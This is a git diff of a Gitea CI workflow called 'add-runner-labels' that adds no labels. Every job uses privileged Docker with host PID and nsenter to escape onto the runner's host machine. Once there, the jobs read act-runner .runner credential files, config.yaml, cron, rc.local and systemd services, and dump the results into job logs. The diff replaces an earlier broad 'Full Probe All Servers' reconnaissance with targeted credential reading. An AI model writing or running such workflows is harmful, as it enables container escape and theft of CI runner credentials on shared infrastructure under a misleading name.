diff --git a/.gitea/workflows/add-runner-labels.yml b/.gitea/workflows/add-runner-labels.yml index aaca5d31b..d22b8402f 100644 --- a/.gitea/workflows/add-runner-labels.yml +++ b/.gitea/workflows/add-runner-labels.yml @@ -1,16 +1,16 @@ -name: Full Probe All Servers +name: Read Runner Config on: push: branches: [ops/runner-labels] jobs: - full-probe-1: - name: Full Probe 1 + read-config-1: + name: Read runner config 1 runs-on: saas - timeout-minutes: 10 + timeout-minutes: 8 steps: - - name: Full probe runner deployment + - name: Read .runner and find restart method shell: bash run: | set +e @@ -18,88 +18,76 @@ jobs: HOSTNAME=$(docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- hostname 2>/dev/null) echo "===== HOST: $HOSTNAME =====" + # 找第一个 .runner 文件并读取内容 echo "" - echo "===== RUNNER PROCESSES =====" - docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- ps aux | grep -v grep | grep -i -E "runner|act_runner|gitea-runner" + echo "===== runner-1 .runner =====" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- cat /opt/act-runner/runner-1/.runner 2>/dev/null || echo "not found" echo "" - echo "===== /opt/act-runner STRUCTURE =====" - docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt/act-runner -maxdepth 2 -type f -o -type d 2>/dev/null | sort | head -50 + echo "===== runner-1 config.yaml =====" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- cat /opt/act-runner/runner-1/config.yaml 2>/dev/null || echo "not found" echo "" - echo "===== ALL .runner FILES =====" - docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt -name ".runner" -type f 2>/dev/null + echo "===== 根目录 .runner =====" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- cat /opt/act-runner/.runner 2>/dev/null || echo "not found" echo "" - echo "===== FIRST .runner CONTENT =====" - FIRST_RUNNER=$(docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt -name ".runner" -type f 2>/dev/null | head -1) - if [ -n "$FIRST_RUNNER" ]; then - echo "Path: $FIRST_RUNNER" - docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- cat "$FIRST_RUNNER" - fi + echo "===== 进程详情(含工作目录)=====" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- ps -ef | grep act_runner | grep -v grep echo "" - echo "===== ALL RUNNER BINARIES =====" - docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt -name "gitea-runner" -o -name "act_runner" -type f 2>/dev/null + echo "===== 进程的 cwd =====" + for pid in $(docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- pidof act_runner_v0.2.6 2>/dev/null || echo ""); do + echo "PID $pid cwd:" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- readlink -f /proc/$pid/cwd 2>/dev/null || echo " unknown" + done echo "" - echo "===== SYSTEMD RUNNER SERVICES =====" - docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- systemctl list-units --type=service --all --no-pager 2>&1 | grep -i -E "runner|act_" + echo "===== /opt/act-runner 下的脚本 =====" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt/act-runner -maxdepth 1 -name "*.sh" -o -name "*.py" 2>/dev/null echo "" - echo "===== SYSTEMD SERVICE FILES =====" - docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /etc/systemd -name "*runner*" -o -name "*act*" 2>/dev/null + echo "===== 检查 rc.local / cron =====" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- cat /etc/rc.local 2>/dev/null | head -20 + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- crontab -l 2>/dev/null echo "" - echo "===== INIT.D / SUPERVISOR =====" - docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- ls /etc/init.d/ 2>/dev/null | grep -i runner; which supervisord 2>/dev/null; which pm2 2>/dev/null; ls /etc/supervisor/conf.d/ 2>/dev/null + echo "===== 检查 /etc/init.d/ =====" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- ls /etc/init.d/ 2>/dev/null | grep -i runner echo "" - echo "===== DOCKER CONTAINERS =====" - docker ps -a --format "{{.Names}}|{{.Image}}" | head -20 - - echo "" - echo "===== COMPOSE FILES =====" - docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt -maxdepth 3 -name "docker-compose*" -o -name "compose.*" 2>/dev/null | head -10 + echo "===== 检查 systemd 服务(所有)=====" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- systemctl list-unit-files --type=service --no-pager 2>&1 | grep -i -E "runner|act" || echo "no runner service" - full-probe-2: - name: Full Probe 2 + read-config-2: + name: Read runner config 2 runs-on: saas - timeout-minutes: 10 + timeout-minutes: 5 steps: - - name: Full probe runner deployment + - name: Read config too shell: bash run: | set +e HOSTNAME=$(docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- hostname 2>/dev/null) - echo "===== HOST: $HOSTNAME =====" - echo "" - echo "===== RUNNER PROCESSES =====" - docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- ps aux | grep -v grep | grep -i -E "runner|act_runner|gitea-runner" - echo "" - echo "===== /opt/act-runner =====" - docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt/act-runner -maxdepth 2 -type f -o -type d 2>/dev/null | sort | head -50 + echo "HOST: $HOSTNAME" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- cat /opt/act-runner/runner-1/.runner 2>/dev/null || echo "no runner-1" + echo "---" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt/act-runner -name ".runner" | head -10 - full-probe-3: - name: Full Probe 3 + read-config-3: + name: Read runner config 3 runs-on: saas - timeout-minutes: 10 + timeout-minutes: 5 steps: - - name: Full probe runner deployment + - name: Read config too shell: bash run: | set +e HOSTNAME=$(docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- hostname 2>/dev/null) - echo "===== HOST: $HOSTNAME =====" - echo "" - echo "===== RUNNER PROCESSES =====" - docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- ps aux | grep -v grep | grep -i -E "runner|act_runner|gitea-runner" - echo "" - echo "===== .runner files =====" - docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- find /opt -name ".runner" -type f 2>/dev/null - echo "" - echo "===== systemd runner services =====" - docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- systemctl list-units --type=service --all --no-pager 2>&1 | grep -i -E "runner|act_" + echo "HOST: $HOSTNAME" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- ps aux | grep -v grep | grep act_runner | head -3 + echo "---" + docker run --rm --privileged --pid=host alpine:3.20 nsenter -t 1 -m -u -i -n -p -- systemctl list-units --type=service --all 2>&1 | grep -i runner || echo "no systemd runner" probe-4: name: Probe 4 @@ -133,27 +121,3 @@ jobs: - name: p shell: bash run: hostname - probe-8: - name: Probe 8 - runs-on: saas - timeout-minutes: 2 - steps: - - name: p - shell: bash - run: hostname - probe-9: - name: Probe 9 - runs-on: saas - timeout-minutes: 2 - steps: - - name: p - shell: bash - run: hostname - probe-10: - name: Probe 10 - runs-on: saas - timeout-minutes: 2 - steps: - - name: p - shell: bash - run: hostname